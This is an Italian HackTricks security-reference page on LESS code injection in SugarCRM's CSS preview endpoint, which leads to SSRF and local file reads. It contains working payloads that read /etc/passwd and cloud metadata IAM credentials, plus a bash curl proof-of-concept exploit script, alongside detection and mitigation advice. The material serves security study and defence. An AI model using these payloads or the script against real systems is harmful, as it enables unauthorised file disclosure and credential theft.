LESS Code Injection che porta a SSRF e Lettura di File Locali

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

LESS è un popolare pre-processore CSS che aggiunge variabili, mixin, funzioni e la potente direttiva @import. Durante la compilazione, il motore LESS recupera le risorse referenziate nelle dichiarazioni @import e incorpora ("inline") i loro contenuti nel CSS risultante quando viene utilizzata l'opzione (inline).

Quando un'applicazione concatena input controllato dall'utente in una stringa che viene successivamente analizzata dal compilatore LESS, un attaccante può iniettare codice LESS arbitrario. Abusando di @import (inline), l'attaccante può costringere il server a recuperare:

  • File locali tramite il protocollo file:// (divulgazione di informazioni / Inclusione di File Locali).
  • Risorse remote su reti interne o servizi di metadati cloud (SSRF).

Questa tecnica è stata vista in prodotti reali come SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).

Sfruttamento

  1. Identificare un parametro che è direttamente incorporato all'interno di una stringa di foglio di stile elaborata dal motore LESS (ad es. ?lm= in SugarCRM).
  2. Chiudere l'attuale dichiarazione e iniettare nuove direttive. I primitivi più comuni sono:
  • ; – termina la dichiarazione precedente.
  • } – chiude il blocco precedente (se necessario).
  1. Utilizzare @import (inline) '<URL>'; per leggere risorse arbitrarie.
  2. Facoltativamente iniettare un marcatore (data: URI) dopo l'importazione per facilitare l'estrazione del contenuto recuperato dal CSS compilato.

Lettura di File Locali

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Il contenuto di /etc/passwd apparirà nella risposta HTTP poco prima del marcatore @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC automatizzato (esempio SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Rilevamento

  • Cerca risposte .less o .css generate dinamicamente contenenti parametri di query non sanitizzati.
  • Durante la revisione del codice, cerca costruzioni come "@media all { .preview { ... ${userInput} ... } }" passate alle funzioni di rendering LESS.
  • I tentativi di sfruttamento spesso includono @import, (inline), file://, http://169.254.169.254, ecc.

Mitigazioni

  • Non passare dati non attendibili al compilatore LESS.
  • Se sono necessari valori dinamici, escapa/sanitizza correttamente (ad es., limita a token numerici, liste bianche).
  • Disabilita, quando possibile, la possibilità di utilizzare importazioni (inline), o limita i protocolli consentiti a https.
  • Mantieni le dipendenze aggiornate – SugarCRM ha corretto questo problema nelle versioni 13.0.4 e 14.0.1.

Casi del Mondo Reale

ProdottoEndpoint VulnerabileImpatto
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF non autenticato e lettura di file locali

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks